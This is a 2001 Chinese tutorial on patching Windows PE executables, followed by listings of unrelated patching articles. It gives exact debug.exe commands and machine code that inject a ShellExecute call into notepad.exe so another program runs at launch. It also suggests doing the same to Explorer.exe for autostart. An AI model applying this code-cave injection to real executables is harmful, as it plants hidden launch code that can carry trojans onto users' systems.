给PE文件打补丁

原创 2001年08月25日 16:43:00


              --------给PE文件打补丁--------

                        ------njhhack

 我们都知道在PE文件中有很多空隙,所以我们就有可能给PE文件打补丁.
做法是在空隙中插入我们的补丁代码.
 下面我通过实例来教大家给win97的notepad.exe(记事本)程序来打个补
丁,使得notepad.exe运行时先运行我的pach.exe程序,方法是:
 1.在notepad.exe的section间隙中插入
          ShellExecute(0,'open','pach.exe',0,0,5)这个api函数调用
 2.后面加入jmp old_begin来跳回原来的程序启动点执行原来的代码
 3.修改程序的入口点为新的入口点
经过这三步操作后,你就为notepad.exe程序打上了补丁,以后每次执行notepad.exe
都会先执行pach.exe程序了.
 听起来很简单,做起来麻烦,我们来看看如何实际操作吧!
 首先我们需要有个debug.exe用来修改notepad.exe程序的内容,这是windows
自带的,你不用费事找的,当然你要分析pe文件的结构和他的反汇编指令的话还要一
个dumppe.exe程序,他是masm32汇编器自带的一个免费程序,功能强大,我们分析pe
格式和反汇编码就用他了,如果你没有这个程序也没关系,想要的话从这里下载就行
http://njhhack.top263.net/dumppe.zip当然我们还要一个win97的操作系统,因为
我们对他的notepad.exe程序打补丁.
 好了,准备好后,我们开始工作了,先把notepad.exe复制到c:/n.exe,c:/n
然后我们对n进行手术,首先我们分析n.exe的内部结构,用dumppe -disasm n.exe>n.txt
好了,n.txt中包含了我们要的所有信息,当然我们只对下面的几个内容感兴趣:
------------------------------------------------
Address of Entry Point                  00001000
-------------------------------------------------
01  .text    Virtual Address         00001000
  Virtual Size            00003A9B        
----------------------------------------------------
00402E20 FF1578734000           call    dword ptr [ShellExecuteA]
-----------------------------------------------------------------
 上面这三部分信息分别是什么含义呢?
 1.其中Address of Entry Point                  00001000
表示程序的入口点为1000,这个很重要,因为我们的程序执行完后要跳回这个入口点,
 2.其中    01  .text    Virtual Address         00001000
                  Virtual Size            00003A9B      
        表示代码段的虚拟地址从1000开始,大小为3a9b,这个也很重要,因为我知道每个
section以200对齐,现在大小为3a9b,比对齐后的3c00要少,所以代码段有空隙,我们就可
以在此插入自已的代码了,空隙的大小为3c00-3a9b=165大小,足够了,
 3.其中00402E20 FF1578734000           call    dword ptr [ShellExecuteA]
是一个反汇编代码,我们了解到ShellExecuteA的调用的机器码为FF1578734000,
 有了上面这三个重要信息后,我们开始最艰难的工作了:
=============================================================================
 1.我们修改代码段的大小,把Virtual Size的值由00003A9B改为00003C00,这样
我们的代码才能被装入内存.因为Virtual Size值存在180的位置,所以我们可以这么做:
 debug n ↙
 -f280 l2 0,3c
 -w
 -q
这样我们就改好了代码段的大小
 2.我们修改程序的入口地址为3a9d+1000=4a9d,方法如下
 因为入口地址在a8这个位置,所以这么做
 debug n ↙
 -f1a8 l2 9d,4a
 -w
 -q
这样我们修改好了入口地址
 3.最后一步最难了,就是设计汇编代码了,来吧,精神点!

-------------------------------------------------------
        内存地址 机器码                 汇编指令
-------------------------------------------------------
 00404A9D 6A05                   push    5
 00404A9F 6A00                   push    0
 00404AA1 6A00                   push    0
 00404AA3 68E04B4000             push    404BE0h
 00404AA8 68F04B4000             push    404BF0h
 00404AAD 6A00                   push    0
 00404AAF FF1578734000           call    dword ptr [ShellExecuteA]
 00404AB5 E941010000             jmp     loc_00404BFB
 
 00404BE0 6861636B2E657865       db 'pach.exe',0
 00404BF0 6F70656E               db 'open',0
 00404BFB E900C4FFFF             jmp     loc_00401000
--------------------------------------------------------------
这就是我们要写的全部汇编指令,不长,但你要懂他的原理,好吧,我们来分析
其中的
 push 5
 push 0
 push 0
 push 404BE0h
 push 404BF0h
 push 0
是把6个参数压入堆栈,供ShellExecute函数使用,至于该函数的参数结构,大家看win32.hlp的描述
然后call    dword ptr [ShellExecuteA]这是调用这个函数了,其效果等同于下面的C语言格式
 ShellExecuteA(0,'open','pach.exe',0,0,5);
也就是说最先压入堆栈的参数在函数的最右边,其中'open','pach.exe'分别相当于404BE0h,404BF0h
这两个内存地址,因为在该函数中,字符串参数的传递是传的字符串地址,因此
 00404BE0 6861636B2E657865       db 'pach.exe',0
 00404BF0 6F70656E               db 'open',0
这上面两行就是在内存中定义了两个字符串.
 00404AB5 E941010000             jmp     loc_00404BFB
上面这行是在call 完函数后跳到00404BFB这个地址.
 00404BFB E900C4FFFF             jmp     loc_00401000
这一行是跳回原来的入口地址1000,执行原来的程序.
-----------------------------------------------------------------
 好了,原理讲完了,我们最后要把这些指令放入代码段,当然就是把机器码放进去了,方
法如下:
 因为代码段在400位置,而我们新入口点在3b9d,所以开始放数的地方是100+400+3a9d=3f9d
其中加的100是debug在内存中的基地址,所以做法如下:
 debug n ↙
 -f3f9d l1d 6a,5,6a,0,6a,0,68,e0,4b,40,0,68,f0,4b,40,0,6a,0,ff,15,78,73,40,0,e9,41,1,0,0
 -f40e0 l9 'pach.exe',0  
 -f40f0 l5 'open',0  
 -f40fb l5 e9,0,c4,ff,ff  
 -w
 -q
好了,我们终于完成了最艰难的任务,可以颀赏一下成果了,把n.exe用n代换,方法为copy n n.exe打开n.exe
我们发现,在启动记事本程序的时候,同时打开了pach.exe这个程序,呵呵,我们终于成功了
想看效果,到这里下载njhhack.top263.net/pach.zip这个不是木马,是演示程序,大家不要害怕
---------------------------------------------------
用同样的方法,你可以给任何程序打补丁,只要他在程序中调用了ShellExecute,WinExec,CreateProcess,...
这些函数就行,比如我们可以给Explorer.exe打补丁,这样我们就可以在启动电脑时,自动运行pach.exe程序了
你还可以给很多这样的程序打补丁,只要你愿意.
 现在大家知道汇编语言有多有用了吧,以后好好学吧,当然还要学pe文件的格式哟,不过本人在此告诫
大家不要用这个补丁技术来启动你的木马程序,若不听劝告,引起的后果与本人无关.
                                       ------njhhack
                                        2001.8.25
                         e-mail:njhhack@21cn.com
                         oicq:10772919
                         主页:hotsky.363.net


 

Linux下使用diff和patch制作及打补丁(已经实践可行!)

在做开发的过程中难免需要给内核及下载的一些源码打补丁,所以我们先学习下Linux下使用如如何使用diff制作补丁以及如何使用patch打补丁。 通过diff命令比较出新旧版本之间的差异,并以pa...
  • tao_627
  • tao_627
  • 2016年10月26日 22:37
  • 1751

【Android】怎样给系统打补丁?

1、你可以下载他人提供的补丁【ZIP压缩格式的刷机补丁文件】 2、你可以按照系统的目录结构自己制作刷机补丁文件: 例如,你想在system/app中加入一个常用程序:UC管理器,想要替换字...
  • lhj0711010212
  • lhj0711010212
  • 2013年04月22日 16:39
  • 1108

安卓热修复,android打补丁,不用发版本就能实时的解决一些线上版本的bug

安卓热修复,android打补丁,不用发版本就能实时的解决一些线上版本的bug
  • qiushi_1990
  • qiushi_1990
  • 2016年04月10日 00:24
  • 7224

关于PE可执行文件的修改(3) 给PE文件打补丁

作者:njhhack --------给PE文件打补丁-------- ------njhhack 我们都知道在PE文件中有很多空隙,所以我们就有可能给PE文件打补丁. 做法是在空隙中插入我们...
  • zhongyunde
  • zhongyunde
  • 2013年03月02日 21:41
  • 805

给PE文件打补我们都知道在PE文件中有很多空隙,所以我们就有可能给PE文件打补丁.

  • 2008年11月07日 22:05
  • 6KB
  • 下载

android实现热更新,打补丁,进行差异文件修复

Android发布版本后如果出现了一点小bug怎么办....修改后重新发布吗?今天要讲的就是实现Android的热更新,只需将差异文件放到手机里就可以实现bug的修复了,完成不用重新发布版本,老是发布...
  • zzq272804553
  • zzq272804553
  • 2017年01月04日 11:17
  • 2340

如何制作patch文件及如何打patch 附带linux打补丁命令

2011-04-19 15:11 转载自 alanx 最终编辑 loring_zhang 对某个版本的Linux内核做了修改以后,如果希望发布出去给别人用,那么就需要制作针对...
  • lishenglong666
  • lishenglong666
  • 2012年02月20日 19:57
  • 605

制作patch文件 打patch 附带linux打补丁命令

对某个版本的Linux内核做了修改以后,如果希望发布出去给别人用,那么就需要制作针对此版本的patch文件。 patch文件是一个文本文档,这个文档包含了在两个不同版本的源代码树之间的变化。...
  • wgembed
  • wgembed
  • 2013年03月21日 09:47
  • 875

uboot、linux内核打补丁及根文件系统生成

uboot打补丁# tar xjvf u-boot-2012.04.01.tar.bz2# cd u-boot-2012.04.01/# patch -p1
  • hello__xs
  • hello__xs
  • 2017年05月16日 22:22
  • 181

给文件打补丁

给文件打补丁 接触到打补丁还是在下linux内核的时候,在linux内核下载资源的网站上提供了相对应前一个版本的补丁下载,这 样如果下载了前一个版本,要更新到当前版本,不用再把整个的内核都下载下来...
  • lgq2016
  • lgq2016
  • 2017年06月23日 16:39
  • 117
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:给PE文件打补丁
举报原因:
原因补充:

(最多只允许输入30个字)